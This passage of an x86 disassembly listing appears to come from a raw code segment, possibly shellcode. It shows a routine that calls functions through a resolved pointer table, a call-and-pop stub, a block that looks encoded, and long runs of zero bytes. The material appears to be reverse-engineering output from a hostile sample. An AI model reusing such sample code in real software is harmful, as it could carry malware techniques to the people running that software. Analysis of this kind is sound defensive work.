mov edi, [ebp+70h] seg000:000005D5 push 4 seg000:000005D7 push 1000h seg000:000005DC push edi seg000:000005DD push 0 seg000:000005DF call dword ptr [ebp+10h] seg000:000005E2 mov edi, eax seg000:000005E4 retn seg000:000005E4 sub_5D2 endp seg000:000005E4 seg000:000005E4 ; --------------------------------------------------------------------------- seg000:000005E5 db 60h ; ` seg000:000005E6 db 68h ; h seg000:000005E7 db 88h ; ê seg000:000005E8 db 13h seg000:000005E9 db 0 seg000:000005EA db 0 seg000:000005EB db 6Ah ; j seg000:000005EC db 0FFh seg000:000005ED db 0FFh seg000:000005EE db 55h ; U seg000:000005EF db 40h ; @ seg000:000005F0 db 61h ; a seg000:000005F1 db 0C3h ; + seg000:000005F2 db 90h ; É seg000:000005F3 db 90h ; É seg000:000005F4 db 90h ; É seg000:000005F5 ; --------------------------------------------------------------------------- seg000:000005F5 seg000:000005F5 loc_5F5: ; CODE XREF: seg000:00000013p seg000:000005F5 ; seg000:00000081p ... seg000:000005F5 pop eax seg000:000005F6 call eax seg000:000005F8 sti seg000:000005F9 aam 0A2h seg000:000005FB popa seg000:000005FC mov bh, [esp+eax] seg000:000005FF dec ebp seg000:00000600 dec ebp seg000:00000601 mov eax, 3BDDCCAFh seg000:00000606 cdq seg000:00000607 xchg ah, [eax] seg000:00000609 mov word ptr [eax+62h], cs seg000:0000060C loope near ptr unk_680 seg000:0000060E fstp dword ptr [ebx] seg000:00000610 loopne loc_5CE seg000:00000612 fisubr word ptr [ebx+ebx*4-52h] seg000:00000616 pushf seg000:00000617 aam 0C0h seg000:00000619 and ecx, [ecx-64h] seg000:0000061C fsubr dword ptr [ebp-53h] seg000:0000061F pop ss seg000:00000620 dec cl seg000:00000622 stosb seg000:00000623 test [esi+6Ch], eax seg000:00000626 call far ptr 0B9A7h:0B830829h seg000:0000062D out 16h, al seg000:0000062F add [eax+1Ch], eax seg000:00000632 add [ebx-381DB745h], ecx seg000:00000638 xchg eax, esi seg000:00000639 test [ebx], esp seg000:0000063B cdq seg000:0000063C lea edi, [edi-6CFDD9A4h] seg000:00000642 aas seg000:00000643 mov bh, 3Bh ; ';' seg000:00000645 pshufw mm2, qword ptr [ecx+0], 0 seg000:00000645 ; --------------------------------------------------------------------------- seg000:0000064A db 0 seg000:0000064B db 0 seg000:0000064C db 0 seg000:0000064D db 0 seg000:0000064E db 0 seg000:0000064F db 0 seg000:00000650 db 0 seg000:00000651 db 0 seg000:00000652 db 0 seg000:00000653 db 0 seg000:00000654 db 0 seg000:00000655 db 0 seg000:00000656 db 0 seg000:00000657 db 0 seg000:00000658 db 0 seg000:00000659 db 0 seg000:0000065A db 0 seg000:0000065B db 0 seg000:0000065C db 0 seg000:0000065D db 0 seg000:0000065E db 0 seg000:0000065F db 0 seg000:00000660 db 0 seg000:00000661 db 0 seg000:00000662 db 0 seg000:00000663 db 0 seg000:00000664 db 0A6h ; ª seg000:00000665 db 0B0h ; ¦ seg000:00000666 db 0 seg000:00000667 db 0 seg000:00000668 db 0 seg000:00000669 db 1Ah seg000:0000066A db 0 seg000:0000066B db 0 seg000:0000066C db 0 seg000:0000066D db 2 seg000:0000066E db 0 seg000:0000066F db 0 seg000:00000670 db 0A0h ; á seg000:00000671 db 9Fh ; ƒ seg000:00000672 db 0Ch seg000:00000673 db 4Fh ; O seg000:00000674 db 0 seg000:00000675 db 0 seg000:00000676 db 0 seg000:00000677 db 0 seg000:00000678 db 0 seg000:00000679 db 0 seg000:0000067A db 0 seg000:0000067B db 0 seg000:0000067C db 0 seg000:0000067D db 0 seg000:0000067E db 0 seg000:0000067F db 0 seg000:00000680 unk_680 db 0 ; CODE XREF: seg000:0000060Cj seg000:00000681 db 0 seg000:00000682 db 0 seg000:00000683 db 0 seg000:00000684 db 0 seg000:00000685 db 0 seg000:00000686 db 0 seg000:00000687 db 0 seg000:00000688 db 0 seg000:00000689 db 0 seg000:0000068A db 0 seg000:0000068B db 0 seg000:0000068C db 0 seg000:0000068D db 0 seg000:0000068E db 0 seg000:0000068F db 0 seg000:00000690 db 0 seg000:00000691 db 0 seg000:00000692 db 0 seg000:00000693 db 0 seg000:00000694 db 0 seg000:00000695 db 0 seg000:00000696 db 0 seg000:00000697 db 0 seg000:00000698 db 0 seg000:00000699 db 0 seg000:0000069A db 0 seg000:0000069B db 0 seg000:0000069C db 0 seg000:0000069D db 0 seg000:0000069E db 0 seg000:0000069F db 0 seg000:000006A0 db 0 seg000:000006A1 db 0 seg000:000006A2 db 0 seg000:000006A3 db 0 seg000:000006A4 db 0 seg000:000006A5 db 0 seg000:000006A6 db 0 seg000:000006A7 db 0 seg000:000006A8 db 0 seg000:000006A9 db 0 seg000:000006AA db 0 seg000:000006AB db 0 seg000:000006AC db 0 seg000:000006AD db 0 seg000:000006AE db 0 seg000:000006AF db 0 seg000:000006B0 db 0 seg000:000006B1 db 0 seg000:000006B2 db 0 seg000:000006B3 db 0 seg000:000006B4 db 0 seg000:000006B5 db 0 seg000:000006B6 db 0 seg000:000006B7 db 0 seg000:000006B8 db 0 seg000:000006B9 db 0 seg000:000006BA db 0 seg000:000006BB db 0 seg000:000006BC db 0 seg000:000006BD db 0 seg000:000006BE db 0 seg000:000006BF db 0 seg000:000006C0 db 0 seg000:000006C1 db 0 seg000:000006C2 db 0 seg000:000006C3 db 0 seg000:000006C4 db 0 seg000:000006C5 db 0 seg000:000006C6 db 0 seg000:000006C7 db 0 seg000:000006C8 db 0 seg000:000006C9 db 0 seg000:000006CA db 0 seg000:000006CB db 0 seg000:000006CC db 0 seg000:000006CD db 0 seg000:000006CE db 0 seg000:000006CF db 0 seg000:000006D0 db 0 seg000:000006D1 db 0 seg000:000006D2 db 0 seg000:000006D3 db 0 seg000:000006D4 db 0 seg000:000006D5 db 0 seg000:000006D6 db 0 seg000:000006D7 db 0 seg000:000006D8 db 0 seg000:000006D9 db 0 seg000:000006DA db 0 seg000:000006DB db 0 seg000:000006DC db 0 seg000:000006DD db 0 seg000:000006DE db 0 seg000:000006DF db 0 seg000:000006E0 db 0 seg000:000006E1 db 0 seg000:000006E2 db 0 seg000:000006E3 db 0 seg000:000006E4 db 0 seg000:000006E5 db 0 seg000:000006E6 db 0 seg000:000006E7 db 0 seg000:000006E8 db 0 seg000:000006E9 db 0 seg000:000006EA db 0 seg000:000006EB db 0 seg000:000006EC db 0 seg000:000006ED db 0 seg000:000006EE db 0 seg000:000006EF db 0 seg000:000006F0 db 0 seg000:000006F1 db 0 seg000:000006F2 db 0 seg000:000006F3 db 0 seg000:000006F4 db 0 seg000:000006F5 db 0 seg000:000006F6 db 0 seg000:000006F7 db 0 seg000:000006F8 db 0 seg000:000006F9 db 0 seg000:000006FA db 0 seg000:000006FB db 0 seg000:000006FC db 0 seg000:000006FD db 0 seg000:000006FE db 0 seg000:000006FF db 0 seg000:00000700 db 0 seg000:00000701 db 0 seg000:00000702 db 0 seg000:00000703 db 0 seg000:00000704 db 0 seg000:00000705 db 0 seg000:00000706 db 0 seg000:00000707 db 0 seg000:00000708 db 0 seg000:00000709 db 0 seg000:0000070A db 0 seg000:0000070B db 0 seg000:0000070C db 0 seg000:0000070D db 0 seg000:0000070E db 0 seg000:0000070F db 0 seg000:00000710 db 0 seg000:00000711 db 0 seg000:00000712 db 0 seg000:00000713 db 0 seg000:00000714 db 0 seg000:00000715 db 0 seg000:00000716 db 0 seg000:00000717 db 0 seg000:00000718 db 0 seg000:00000719 db 0 seg000:0000071A db 0 seg000:0000071B db 0 seg000:0000071C db 0 seg000:0000071D db 0 seg000:0000071E db 0 seg000:0000071F db 0 seg000:00000720 db 0 seg000:00000721 db 0 seg000:00000722 db 0 seg000:00000723 db 0 seg000:00000724 db 0 seg000:00000725 db 0 seg000:00000726 db 0 seg000:00000727 db 0 seg000:00000728 db 0 seg000:00000729 db 0 seg000:0000072A db 0 seg000:0000072B db 0 seg000:0000072C db 0 seg000:0000072D db 0 seg000:0000072E db 0 seg000:0000072F db 0 seg000:00000730 db 0 seg000:00000731 db 0 seg000:00000732 db 0 seg000:00000733 db 0 seg000:00000734 db 0 seg000:00000735 db 0 seg000:00000736 db 0 seg000:00000737 db 0 seg000:00000738 db 0 seg000:00000739 db 0 seg000:0000073A db 0 seg000:0000073B db 0 seg000:0000073C db 0 seg000:0000073D db 0 seg000:0000073E db 0 seg000:0000073F db 0 seg000:00000740 db 0 seg000:00000741 db 0 seg000:00000742 db 0 seg000:00000743 db 0 seg000:00000744 db 0 seg000:00000745 db 0 seg000:00000746 db 0 seg000:00000747 db 0 seg000:00000748 db 0 seg000:00000749 db 0 seg000:0000074A db 0 seg000:0000074B db 0 seg000:0000074C db 0 seg000:0000074D db 0 seg000:0000074E db 0 seg000:0000074F db 0 seg000:00000750 db 0 seg000:00000751 db 0 seg000:00000752 db 0 seg000:00000753 db 0 seg000:00000754 db 0 seg000:00000755 db 0 seg000:00000756 db 0 seg000:00000757 db 0 seg000:00000758 db 0 seg000:00000759 db 0 seg000:0000075A db 0 seg000:0000075B db 0 seg000:0000075C db 0 seg000:0000075D db 0 seg000:0000075E db 0 seg000:0000075F db 0 seg000:00000760 db 0 seg000:00000761 db 0 seg000:00000762 db 0 seg000:00000763 db 0 seg000:00000764 db 0 seg000:00000765 db 0 seg000:00000766 db 0 seg000:00000767 db 0 seg000:00000768 db 0 seg000:00000769 db 0 seg000:0000076A db 0 seg000:0000076B db 0 seg000:0000076C db 0 seg000:0000076D db 0 seg000:0000076E db 0 seg000:0000076F db 0 seg000:00000770 db 0 seg000:00000771 db 0 seg000:00000772 db 0 seg000:00000773 db 0 seg000:00000774 db 0 seg000:00000775 db 0 seg000:00000776 db 0 seg000:00000777 db 0 seg000:00000778 db 0 seg000:00000779 db 0 seg000:0000077A db 0 seg000:0000077B db 0 seg000:0000077C db 0 seg000:0000077D db 0 seg000:0000077E db 0 seg000:0000077F db 0 seg000:00000780 db 0 seg000:00000781 db 0 seg000:00000782 db 0 seg000:00000783 db 0 seg000:00000784 db 0 seg000:00000785 db 0 seg000:00000786 db 0 seg000:00000787 db 0 seg000:00000788 db 0 seg000:00000789 db 0 seg000:0000078A db 0 seg000:0000078B db 0 seg000:0000078C db 0 seg000:0000078D db 0 seg000:0000078E db 0 seg000:0000078F db 0 seg000:00000790 db 0 seg000:00000791 db 0 seg000:00000792 db 0 seg000:00000793 db 0 seg000:00000794 db 0 seg000:00000795 db 0 seg000:00000796 db 0 seg000:00000797 db 0 seg000:00000798 db 0 seg000:00000799 db 0 seg000:0000079A db 0 seg000:0000079B db 0 seg000:0000079C db 0 seg000:0000079D db 0 seg000:0000079E db 0 seg000:0000079F db 0 seg000:000007A0 db 0 seg000:000007A1 db 0 seg000:000007A2 db 0 seg000:000007A3 db 0 seg000:000007A4 db 0 seg000:000007A5 db 0 seg000:000007A6 db 0 seg000:000007A7 db 0 seg000:000007A8 db 0 seg000:000007A9 db 0 seg000:000007AA db 0 seg000:000007AB db 0 seg000:000007AC db 0 seg000:000007AD db 0 seg000:000007AE db 0 seg000:000007AF db 0 seg000:000007B0 db 0 seg000:000007B1 db 0 seg000:000007B2 db 0 seg000:000007B3 db 0 seg000:000007B4 db 0 seg000:000007B5 db 0 seg000:000007B6 db 0 seg000:000007B7 db 0 seg000:000007B8 db 0 seg000:000007B9 db 0 seg000:000007BA db 0 seg000:000007BB db 0 seg000:000007BC db 0 seg000:000007BD db 0 seg000:000007BE db 0 seg000:000007BF db 0 seg000:000007C0 db 0 seg000:000007C1 db 0 seg000:000007C2 db 0 seg000:000007C3 db 0 seg000:000007C4 db 0 seg000:000007C5 db 0 seg000:000007C6 db 0 seg000:000007C7 db 0 seg000:000007C8 db 0 seg000:000007C9 db 0 seg000:000007CA db 0 seg000:000007CB db 0 seg000:000007CC db 0 seg000:000007CD db 0 seg000:000007CE db 0 seg000:000007CF db 0 seg000:000007D0 db 0 seg000:000007D1 db 0 seg000:000007D2 db 0 seg000:000007D3 db 0 seg000:000007D4 db 0 seg000:000007D5 db 0 seg000:000007D6 db 0 seg000:000007D7 db 0 seg000:000007D8 db 0 seg000:000007D9 db 0 seg000:000007DA db 0 seg000:000007DB db 0 seg000:000007DC db 0 seg000:000007DD db 0 seg000:000007DE db 0 seg000:000007DF db 0 seg000:000007E0 db 0 seg000:000007E1 db 0 seg000:000007E2 db 0 seg000:000007E3 db 0 seg000:000007E4 db 0 seg000:000007E5 db 0 seg000:000007E6 db 0 seg000:000007E7 db 0 seg000:000007E8 db 0 seg000:000007E9 db 0 seg000:000007EA db 0 seg000:000007EB db 0 seg000:000007EC db 0 seg000:000007ED db 0 seg000:000007EE db 0 seg000:000007EF db 0 seg000:000007F0 db 0 seg000:000007F1 db 0 seg000:000007F2 db 0 seg000:000007F3 db 0 seg000:000007F4 db 0 seg000:000007F5 db 0 seg000:000007F6 db 0 seg000:000007F7 db 0 seg000:000007F8 db 0 seg000:000007F9 db 0 seg000:000007FA db 0 seg000:000007FB db 0 seg000:000007FC db 0 seg000:000007FD db 0 seg000:000007FE db 0 seg000:000007FF db 0 seg000:00000800 db 0 seg000:00000801 db 0 seg000:00000802 db 0 seg000:00000803 db 0 seg000:00000804 db 0 seg000:00000805 db 0 seg000:00000806 db 0 seg000:00000807 db 0 seg000:00000808 db 0 seg000:00000809 db 0 seg000:0000080A db 0 seg000:0000080B db 0 seg000:0000080C db 0 seg000:0000080D db 0 seg000:0000080E db 0 seg000:0000080F db 0 seg000:00000810 db 0 seg000:00000811 db 0 seg000:00000812 db 0 seg000:00000813 db 0 seg000:00000814 db 0 seg000:00000815 db 0 seg000:00000816 db 0 seg000:00000817 db 0 seg000:00000818 db 0 seg000:00000819 db 0 seg000:0000081A db 0 seg000:0000081B db 0 seg000:0000081C db 0 seg000:0000081D db 0 seg000:0000081E db 0 seg000:0000081F db 0 seg000:00000820 db 0 seg000:00000821 db 0 seg000:00000822 db 0 seg000:00000823 db 0 seg000:00000824 db 0 seg000:00000825 db 0 seg000:00000826 db 0 seg000:00000827 db 0 seg000:00000828 db 0 seg000:00000829 db 0 seg000:0000082A db 0 seg000:0000082B db 0 seg000:0000082C db 0 seg000:0000082D db 0 seg000:0000082E db 0 seg000:0000082F db 0 seg000:00000830 db 0 seg000:00000831 db 0 seg000:00000832 db 0 seg000:00000833 db 0 seg000:00000834 db 0 seg000:00000835 db 0 seg000:00000836 db 0 seg000:00000837 db 0 seg000:00000838 db 0 seg000:00000839 db 0 seg000:0000083A db 0 seg000:0000083B db 0 seg000:0000083C db 0 seg000:0000083D db 0 seg000:0000083E db 0 seg000:0000083F db 0 seg000:00000840 db 0 seg000:00000841 db 0 seg000:00000842 db 0 seg000:00000843 db 0 seg000:00000844 db 0 seg000:00000845 db 0 seg000:00000846 db 0 seg000:00000847 db 0 seg000:00000848 db 0 seg000:00000849 db 0 seg000:0000084A db 0 seg000:0000084B db 0 seg000:0000084C db 0 seg000:0000084D db 0 seg000:0000084E db 0 seg000:0000084F db 0 seg000:00000850 db 0 seg000:00000851 db 0 seg000:00000852 db 0 seg000:00000853 db 0 seg000:00000854 db 0 seg000:00000855 db 0 seg000:00000856 db 0 seg000:00000857 db 0 seg000:00000858 db 0 seg000:00000859 db 0 seg000:0000085A db 0 seg000:0000085B db 0 seg000:0000085C db 0 seg000:0000085D db 0 seg000:0000085E db 0 seg000:0000085F db 0 seg000:00000860 db 0 seg000:00000861 db 0 seg000:00000862 db 0 seg000:00000863 db 0 seg000:00000864 db 0 seg000:00000865 db 0 seg000:00000866 db 0 seg000:00000867 db 0 seg000:00000868 db 0 seg000:00000869 db 0 seg000:0000086A db 0 seg000:0000086B db 0 seg000:0000086C db 0 seg000:0000086D db 0 seg000:0000086E db 0 seg000:0000086F db 0 seg000:00000870 db 0 seg000:00000871 db 0 seg000:00000872 db 0 seg000:00000873 db 0 seg000:00000874 db 0 seg000:00000875 db 0 seg000:00000876 db 0 seg000:00000877 db 0 seg000:00000878 db 0 seg000:00000879 db 0 seg000:0000087A db 0 seg000:0000087B db 0 seg000:0000087C db 0 seg000:0000087D db 0 seg000:0000087E db 0 seg000:0000087F db 0 seg000:00000880 db 0 seg000:00000881 db 0 seg000:00000882 db 0 seg000:00000883 db 0 seg000:00000884 db 0 seg000:00000885 db 0 seg000:00000886 db 0 seg000:00000887 db 0 seg000:00000888 db 0 seg000:00000889 db 0 seg000:0000088A db 0 seg000:0000088B db 0 seg000:0000088C db 0 seg000:0000088D db 0 seg000:0000088E db 0 seg000:0000088F db 0 seg000:00000890 db 0 seg000:00000891 db 0 seg000:00000892 db 0 seg000:00000893 db 0 seg000:00000894 db 0 seg000:00000895 db 0 seg000:00000896 db 0 seg000:00000897 db 0 seg000:00000898 db 0 seg000:00000899 db 0 seg000:0000089A db 0 seg000:0000089B db 0 seg000:0000089C db 0 seg000:0000089D db 0 seg000:0000089E db 0 seg000:0000089F db 0 seg000:000008A0 db 0 seg000:000008A1 db 0 seg000:000008A2 db 0 seg000:000008A3 db 0 seg000:000008A4 db 0 seg000:000008A5 db 0 seg000:000008A6 db 0 seg000:000008A7 db 0 seg000:000008A8 db 0 seg000:000008A9 db 0 seg000:000008AA db 0 seg000:000008AB db 0 seg000:000008AC db 0 seg000:000008AD db 0 seg000:000008AE db 0 seg000:000008AF db 0 seg000:000008B0 db 0 seg000:000008B1 db 0 seg000:000008B2 db 0 seg000:000008B3 db 0 seg000:000008B4 db 0 seg000:000008B5 db 0 seg000:000008B6 db 0 seg000:000008B7 db 0 seg000:000008B8 db 0 seg000:000008B9 db 0 seg000:000008BA db 0 seg000:000008BB db 0 seg000:000008BC db 0 seg000:000008BD db 0 seg000:000008BE db 0 seg000:000008BF db 0 seg000:000008C0 db 0 seg000:000008C1 db 0 seg000:000008C2 db 0 seg000:000008C3 db 0 seg000:000008C4 db 0 seg000:000008C5 db 0 seg000:000008C6 db 0 seg000:000008C7 db 0 seg000:000008C8 db 0 seg000:000008C9 db 0 seg000:000008CA db 0 seg000:000008CB db 0 seg000:000008CC db 0 seg000:000008CD db 0 seg000:000008CE db 0 seg000:000008CF db 0 seg000:000008D0 db 0 seg000:000008D1 db 0 seg000:000008D2 db 0 seg000:000008D3 db 0 seg000:000008D4 db 0 seg000:000008D5 db 0 seg000:000008D6 db 0 seg000:000008D7 db 0 seg000:000008D8 db 0 seg000:000008D9 db 0 seg000:000008DA db 0 seg000:000008DB db 0 seg000:000008DC db 0 seg000:000008DD db 0 seg000:000008DE db 0 seg000:000008DF db 0 seg000:000008E0 db 0 seg000:000008E1 db 0 seg000:000008E2 db 0 seg000:000008E3 db 0 seg000:000008E4 db 0 seg000:000008E5 db 0 seg000:000008E6 db 0 seg000:000008E7 db 0 seg000:000008E8 db 0 seg000:000008E9 db 0 seg000:000008EA db 0 seg000:000008EB db 0 seg000:000008EC db 0 seg000:000008ED db 0 seg000:000008EE db 0 seg000:000008EF db 0 seg000:000008F0 db 0 seg000:000008F1 db 0 seg000:000008F2 db 0 seg000:000008F3 db 0 seg000:000008F4 db 0 seg000:000008F5 db 0 seg000:000008F6 db 0 seg000:000008F7 db 0 seg000:000008F8 db 0 seg000:000008F9 db 0 seg000:000008FA db 0 seg000:000008FB db 0 seg000:000008FC db 0 seg000:000008FD db 0 seg000:000008FE db 0 seg000:000008FF db 0 seg000:00000900 db 0 seg000:00000901 db 0 seg000:00000902 db 0 seg000:00000903 db 0 seg000:00000904 db 0 seg000:00000905 db 0 seg000:00000906 db 0 seg000:00000907 db 0 seg000:00000908 db 0 seg000:00000909 db 0 seg000:0000090A db 0 seg000:0000090B db 0 seg000:0000090C db 0 seg000:0000090D db 0 seg000:0000090E db 0 seg000:0000090F db 0 seg000:00000910 db 0 seg000:00000911 db 0 seg000:00000912 db 0 seg000:00000913 db 0 seg000:00000914 db 0 seg000:00000915 db 0 seg000:00000916 db 0 seg000:00000917 db 0 seg000:00000918 db 0 seg000:00000919 db 0 seg000:0000091A db 0 seg000:0000091B db 0 seg000:0000091C db 0 seg000:0000091D db 0 seg000:0000091E db 0 seg000:0000091F db 0 seg000:00000920 db 0 seg000:00000921 db 0 seg000:00000922 db 0 seg000:00000923 db 0 seg000:00000924 db 0 seg000:00000925 db 0 seg000:00000926 db 0 seg000:00000927 db 0 seg000:00000928 db 0 seg000:00000929 db 0 seg000:0000092A db 0 seg000:0000092B db 0 seg000:0000092C db 0 seg000:0000092D db 0 seg000:0000092E db 0 seg000:0000092F db 0 seg000:00000930 db 0 seg000:00000931 db 0 seg000:00000932 db 0 seg000:00000933 db 0 seg000:00000934 db 0 seg000:00000935 db 0 seg000:00000936 db 0 seg000:00000937 db 0 seg000:00000938 db 0 seg000:00000939 db 0 seg000:0000093A db 0 seg000:0000093B db 0 seg000:0000093C db 0 seg000:0000093D db 0 seg000:0000093E db 0 seg000:0000093F db 0 seg000:00000940 db 0 seg000:00000941 db 0 seg000:00000942 db 0 seg000:00000943 db 0 seg000:00000944 db 0 seg000:00000945 db 0 seg000:00000946 db 0 seg000:00000947 db 0 seg000:00000948 db 0 seg000:00000949 db 0 seg000:0000094A db 0 seg000:0000094B db 0 seg000:0000094C db 0 seg000:0000094D db 0 seg000:0000094E db 0 seg000:0000094F db 0 seg000:00000950 db 0 seg000:00000951 db 0 seg000:00000952 db 0 seg000:00000953 db 0 seg000:00000954 db 0 seg000:00000955 db 0 seg000:00000956 db 0 seg000:00000957 db 0 seg000:00000958 db 0 seg000:00000959 db 0 seg000:0000095A db 0 seg000:0000095B db 0 seg000:0000095C db 0 seg000:0000095D db 0 seg000:0000095E db 0 seg000:0000095F db 0 seg000:00000960 db 0 seg000:00000961 db 0 seg000:00000962 db 0 seg000:00000963 db 0 seg000:00000964 db 0 seg000:00000965 db 0 seg000:00000966 db 0 seg000:00000967 db 0 seg000:00000968 db 0 seg000:00000969 db 0 seg000:0000096A db 0 seg000:0000096B db 0 seg000:0000096C db 0 seg000:0000096D db 0 seg000:0000096E db 0 seg000:0000096F db 0 seg000:00000970 db 0 seg000:00000971 db 0 seg000:00000972 db 0 seg000:00000973 db 0 seg000:00000974 db 0 seg000:00000975 db 0 seg000:00000976 db 0 seg000:00000977 db 0 seg000:00000978 db 0 seg000:00000979 db 0 seg000:0000097A db 0 seg000:0000097B db 0 seg000:0000097C db 0 seg000:0000097D db 0 seg000:0000097E db 0 seg000:0000097F db 0 seg000:00000980 db 0 seg000:00000981 db 0 seg000:00000982 db 0 seg000:00000983 db 0 seg000:00000984 db 0 seg000:00000985 db 0 seg000:00000986 db 0 seg000:00000987 db 0 seg000:00000988 db 0 seg000:00000989 db 0 seg000:0000098A db 0 seg000:0000098B db 0 seg000:0000098C db 0 seg000:0000098D db 0 seg000:0000098E db 0 seg000:0000098F db 0 seg000:00000990 db 0 seg000:00000991 db 0 seg000:00000992 db 0 seg000:00000993 db 0 seg000:00000994 db 0 seg000:00000995 db 0 seg000:00000996 db 0 seg000:00000997 db 0 seg000:00000998 db 0 seg000:00000999 db 0 seg000:0000099A db 0 seg000:0000099B db 0 seg000:0000099C db 0 seg000:0000099D db 0 seg000:0000099E db 0 seg000:0000099F db 0 seg000:000009A0 db 0 seg000:000009A1 db 0 seg000:000009A2 db 0 seg000:000009A3 db 0 seg000:000009A4 db 0 seg000:000009A5 db 0 seg000:000009A6 db 0 seg000:000009A7 db 0 seg000:000009A8 db 0 seg000:000009A9 db 0 seg000:000009AA db 0 seg000:000009AB db 0 seg000:000009AC db 0 seg000:000009AD db 0 seg000:000009AE db 0 seg000:000009AF db 0 seg000:000009B0 db 0 seg000:000009B1 db 0 seg000:000009B2 db 0 seg000:000009B3 db 0 seg000:000009B4 db 0 seg000:000009B5 db 0 seg000:000009B6 db 0 seg000:000009B7 db 0 seg000:000009B8 db 0 seg000:000009B9 db 0 seg000:000009BA db 0 seg000:000009BB db 0 seg000:000009BC db 0 seg000:000009BD db 0 seg000:000009BE db 0 seg000:000009BF db 0 seg000:000009C0 db 0 seg000:000009C1 db 0 seg000:000009C2 db 0 seg000:000009C3 db 0 seg000:000009C4 db 0 seg000:000009C5 db 0 seg000:000009C6 db 0 seg000:000009C7 db 0 seg000:000009C8 db 0 seg000:000009C9 db 0 seg000:000009CA db 0 seg000:000009CB db 0 seg000:000009CC db 0 seg000:000009CD db 0 seg000:000009CE db 0 seg000:000009CF db 0 seg000:000009D0 db 0 seg000:000009D1 db 0 seg000:000009D2 db 0 seg000:000009D3 db 0 seg000:000009D4 db 0 seg000:000009D5 db 0 seg000:000009D6 db 0 seg000:000009D7 db 0 seg000:000009D8 db 0 seg000:000009D9 db 0 seg000:000009DA db 0 seg000:000009DB db 0 seg000:000009DC db 0 seg000:000009DD db 0 seg000:000009DE db 0 seg000:000009DF db 0 seg000:000009E0 db 0 seg000:000009E1 db 0 seg000:000009E2 db 0 seg000:000009E3 db 0 seg000:000009E4 db 0 seg000:000009E5 db 0 seg000:000009E6 db 0 seg000:000009E7 db 0 seg000:000009E8 db 0 seg000:000009E9 db 0 seg000:000009EA db 0 seg000:000009EB db 0 seg000:000009EC db 0 seg000:000009ED db 0 seg000:000009EE db 0 seg000:000009EF db 0 seg000:000009F0 db 0 seg000:000009F1 db 0 seg000:000009F2 db 0 seg000:000009F3 db 0 seg000:000009F4 db 0 seg000:000009F5 db 0 seg000:000009F6 db 0 seg000:000009F7 db 0 seg000:000009F8 db 0 seg000:000009F9 db 0 seg000:000009FA db 0 seg000:000009FB db 0 seg000:000009FC db 0 seg000:000009FD db 0 seg000:000009FE db 0 seg000:000009FF db 0 seg000:00000A00 db 0 seg000:00000A01 db 0 seg000:00000A02 db 0 seg000:00000A03 db 0 seg000:00000A04 db 0 seg000:00000A05 db 0 seg000:00000A06 db 0 seg000:00000A07 db 0 seg000:00000A08 db 0 seg000:00000A09 db 0 seg000:00000A0A db 0 seg000:00000A0B db 0 seg000:00000A0C db 0 seg000:00000A0D db 0 seg000:00000A0E db 0 seg000:00000A0F db 0 seg000:00000A10 db 0 seg000:00000A11 db 0 seg000:00000A12 db 0 seg000:00000A13 db 0 seg000:00000A14 db 0 seg000:00000A15 db 0 seg000:00000A16 db 0 seg000:00000A17 db 0 seg000:00000A18 db 0 seg000:00000A19 db 0 seg000:00000A1A db 0 seg000:00000A1B db 0 seg000:00000A1C db 0 seg000:00000A1D db 0 seg000:00000A1E db 0 seg000:00000A1F db 0 seg000:00000A20 db 0 seg000:00000A21 db 0 seg000:00000A22 db 0 seg000:00000A23 db 0 seg000:00000A24 db 0 seg000:00000A25 db 0 seg000:00000A26 db 0 seg000:00000A27 db 0 seg000:00000A28 db 0 seg000:00000A29 db 0 seg000:00000A2A db 0 seg000:00000A2B db 0 seg000:00000A2C db 0 seg000:00000A2D db 0 seg000:00000A2E db 0 seg000:00000A2F db 0 seg000:00000A30 db 0 seg000:00000A31 db 0 seg000:00000A32 db 0 seg000:00000A33 db 0 seg000:00000A34 db 0 seg000:00000A35 db 0 seg000:00000A36 db 0 seg000:00000A37 db 0 seg000:00000A38 db 0 seg000:00000A39 db 0 seg000:00000A3A db 0 seg000:00000A3B db 0 seg000:00000A3C db 0 seg000:00000A3D db 0 seg000:00000A3E db 0 seg000:00000A3F db 0 seg000:00000A40 db 0 seg000:00000A41 db 0 seg000:00000A42 db 0 seg000:00000A43 db 0 seg000:00000A44 db 0 seg000:00000A45 db 0 seg000:00000A46 db 0 seg000:00000A47 db 0 seg000:00000A48 db 0 seg000:00000A49 db 0 seg000:00000A4A db 0 seg000:00000A4B db 0 seg000:00000A4C db 0 seg000:00000A4D db 0 seg000:00000A4E db 0 seg000:00000A4F db 0 seg000:00000A50 db 0 seg000:00000A51 db 0 seg000:00000A52 db 0 seg000:00000A53 db 0 seg000:00000A54 db 0 seg000:00000A55 db 0 seg000:00000A56 db 0 seg000:00000A57 db 0 seg000:00000A58 db 0 seg000:00000A59 db 0 seg000:00000A5A db 0 seg000:00000A5B db 0 seg000:00000A5C db 0 seg000:00000A5D db 0 seg000:00000A5E db 0 seg000:00000A5F db 0 seg000:00000A60 db 0 seg000:00000A61 db 0 seg000:00000A62 db 0 seg000:00000A63 db 0 seg000:00000A64 db 0 seg000:00000A65 db 0 seg000:00000A66 db 0 seg000:00000A67 db 0 seg000:00000A68 db 0 seg000:00000A69 db 0 seg000:00000A6A db 0 seg000:00000A6B db 0 seg000:00000A6C db 0 seg000:00000A6D db 0 seg000:00000A6E db 0 seg000:00000A6F db 0 seg000:00000A70 db 0 seg000:00000A71 db 0 seg000:00000A72 db 0 seg000:00000A73 db 0 seg000:00000A74 db 0 seg000:00000A75 db 0 seg000:00000A76 db 0 seg000:00000A77 db 0 seg000:00000A78 db 0 seg000:00000A79 db 0 seg000:00000A7A db 0 seg000:00000A7B db 0 seg000:00000A7C db 0 seg000:00000A7D db 0 seg000:00000A7E db 0 seg000:00000A7F db 0 seg000:00000A80 db 0 seg000:00000A81 db 0 seg000:00000A82 db 0 seg000:00000A83 db 0 seg000:00000A84 db 0 seg000:00000A85 db 0 seg000:00000A86 db 0 seg000:00000A87 db 0 seg000:00000A88 db 0 seg000:00000A89 db 0 seg000:00000A8A db 0 seg000:00000A8B db 0 seg000:00000A8C db 0 seg000:00000A8D db 0 seg000:00000A8E db 0 seg000:00000A8F db 0 seg000:00000A90 db 0 seg000:00000A91 db 0 seg000:00000A92 db 0 seg000:00000A93 db 0 seg000:00000A94 db 0 seg000:00000A95 db 0 seg000:00000A96 db 0 seg000:00000A97 db 0 seg000:00000A98 db 0 seg000:00000A99 db 0 seg000:00000A9A db 0 seg000:00000A9B db 0 seg000:00000A9C db 0 seg000:00000A9D db 0 seg000:00000A9E db 0 seg000:00000A9F db 0 seg000:00000AA0 db 0 seg000:00000AA1 db 0 seg000:00000AA2 db 0 seg000:00000AA3 db 0 seg000:00000AA4 db 0 seg000:00000AA5 db 0 